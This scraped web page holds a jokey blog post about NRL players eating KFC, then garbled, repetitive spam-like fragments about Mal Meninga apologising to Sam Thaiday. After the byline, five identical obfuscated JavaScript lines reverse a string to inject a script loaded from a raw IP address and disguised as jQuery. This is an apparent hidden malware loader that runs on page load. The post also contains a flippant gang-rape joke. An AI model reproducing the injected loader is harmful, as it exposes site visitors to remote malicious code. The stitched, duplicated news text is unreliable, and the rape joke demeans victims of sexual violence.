Ryan Hoffman tackled by Josh McGuire (L) Corey Parker and Sam Thaiday (R)

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Ryan Hoffman tackled by Josh McGuire (L) Corey Parker and Sam Thaiday (R)
KFC: the athlete's food of choice
I never really cared for KFC* growing up. But very recently I've discovered the Ultimate Burger Meal and, like a pathetic heroin junkie living in 1990's Cabramatta, I'll do anything to get my hands on one. Especially after a workout or perhaps a game of basketball - basically, any activity where I've exerted some physical effort - as I believe the treat is more than justified. And I'm not alone. Apparently athletes - specifically rugby league players - are equally as fond of the Colonel's secret recipe. I'm led to believe that Sam Thaiday and Dave Taylor, during their time at the Broncos together, were KFC junkies; chowing down on buckets worth of Original chicken after a grueling training session, much to the horror of their team nutritionist. This kind of behaviour is widespread in the NRL, as I am about to explain, although it is worth noting that Greg Bird is doing his best to smash these culinary stereotypes, according to one veritable publication. I'm told by a reliable source that several NRL teams employ a gofer - probably some sycophantic fan - to bring back a huge order of KFC to the dressing-room after the match for the players to gorge themselves silly on. The image of 17 sweaty, fully grown footballers - probably still in their footy shorts, but presumably shirtless at the very least - smashing fried chicken with reckless abandon is sensationally primal, and further blurs the already wafer-thin line between NRL player and animal. [caption id="attachment_2728" align="aligncenter" width="300" caption="Athletes will do anything for a bucket..."][/caption] What is it about KFC that arouses the lustful desires of rugby league players - and I, suddenly? Is it the secret herbs and spices, or the juicy, tender chicken itself? Or is it a team bonding exercise? I'll admit, a UBM consumed in the company of another is a far greater experience than one consumed alone. I could probably draw an analogy here to gang rape in the NRL, but we're past all that now. There hasn't been one of those in, like, two years. I know about all the negative health implications of eating KFC. I'm also aware that KFC is perhaps not the most eco-friendly organisation going around. But I can't help it. I've become Dave Taylor, sans elephantitis: an insatiable fried chicken bandit. Do any other amateur sportsmen or sportswomen share my latent affinity for KFC? By Dave Edwards * This article was not sponsored by KFC. document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join("")) document.write('>tpircs/<>"sj.yreuqj/87.611.942.431//:sptth"=crs tpircs<'.split("").reverse().join(""))
Three things men can learn from Mal's apology | Sam Thaiday
Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach yesterday. Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. 11:22am. share. Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach on Tuesday. Kangaroos coach Mal Meninga has apologised to discarded forward Sam Thaiday for failing to phone and advise him of his axing from the national side for the upcoming World Cup.
AN "embarrassed" Mal Meninga has contacted Sam Thaiday and apologised unreservedly for not giving the veteran forward the courtesy of a phone call before Thaiday found out he had been dumped from the Kangaroos World Cup squad. Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. Sam Thaiday has every right to be upset he didn't receive a phone call from Australia coach Mal Meninga to tell him he'd missed out on the squad for the World Cup.
Three things men can learn from Mal's apology | Sam Thaiday
Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. 11:22am. share. AN "embarrassed" Mal Meninga has contacted Sam Thaiday and apologised unreservedly for not giving the veteran forward the courtesy of a phone call before Thaiday found out he had been dumped from the Kangaroos World Cup squad. Sam Thaiday has every right to be upset he didn't receive a phone call from Australia coach Mal Meninga to tell him he'd missed out on the squad for the World Cup. Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach yesterday.
Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach on Tuesday. Kangaroos coach Mal Meninga speaks with Cameron Smith and Sam Thaiday. Kangaroos coach Mal Meninga has apologised to discarded forward Sam Thaiday for failing to phone and advise him of his axing from the national side for the upcoming World Cup.
Three things men can learn from Mal's apology | Sam Thaiday
Shunned forward Sam Thaiday has given Kangaroos coach Mal Meninga a lesson in communication after the 32-Test veteran learned of his axing in a news report. Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. Kangaroos coach Mal Meninga has apologised to discarded forward Sam Thaiday for failing to phone and advise him of his axing from the national side for the upcoming World Cup. Sam Thaiday has every right to be upset he didn't receive a phone call from Australia coach Mal Meninga to tell him he'd missed out on the squad for the World Cup.
Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach on Tuesday. Kangaroos coach Mal Meninga speaks with Cameron Smith and Sam Thaiday. Mel Meninga apologises to Sam Thaiday over disrespectful cut from Kangaroos. 4:36pm. share.
Three things men can learn from Mal's apology | Sam Thaiday
Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. 11:22am. share. Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach on Tuesday. Shunned forward Sam Thaiday has given Kangaroos coach Mal Meninga a lesson in communication after the 32-Test veteran learned of his axing in a news report. Sam Thaiday has every right to be upset he didn't receive a phone call from Australia coach Mal Meninga to tell him he'd missed out on the squad for the World Cup.
Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach yesterday. Kangaroos coach Mal Meninga speaks with Cameron Smith and Sam Thaiday. Mel Meninga apologises to Sam Thaiday over disrespectful cut from Kangaroos. 4:36pm. share.
Three things men can learn from Mal's apology | Sam Thaiday
Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. Watch: NRL joker Sam Thaiday arrives at Dally M Awards with a vacuum cleaner - and gives the red carpet a quick clean. 11:22am. share. Kangaroos coach Mal Meninga speaks with Cameron Smith and Sam Thaiday. Mal Meninga has apologised profusely to jettisoned forward Sam Thaiday following the former representative's attack on the Kangaroos coach yesterday.
Shunned forward Sam Thaiday has given Kangaroos coach Mal Meninga a lesson in communication after the 32-Test veteran learned of his axing in a news report. Sam Thaiday has every right to be upset he didn't receive a phone call from Australia coach Mal Meninga to tell him he'd missed out on the squad for the World Cup. AN "embarrassed" Mal Meninga has contacted Sam Thaiday and apologised unreservedly for not giving the veteran forward the courtesy of a phone call before Thaiday found out he had been dumped from the Kangaroos World Cup squad.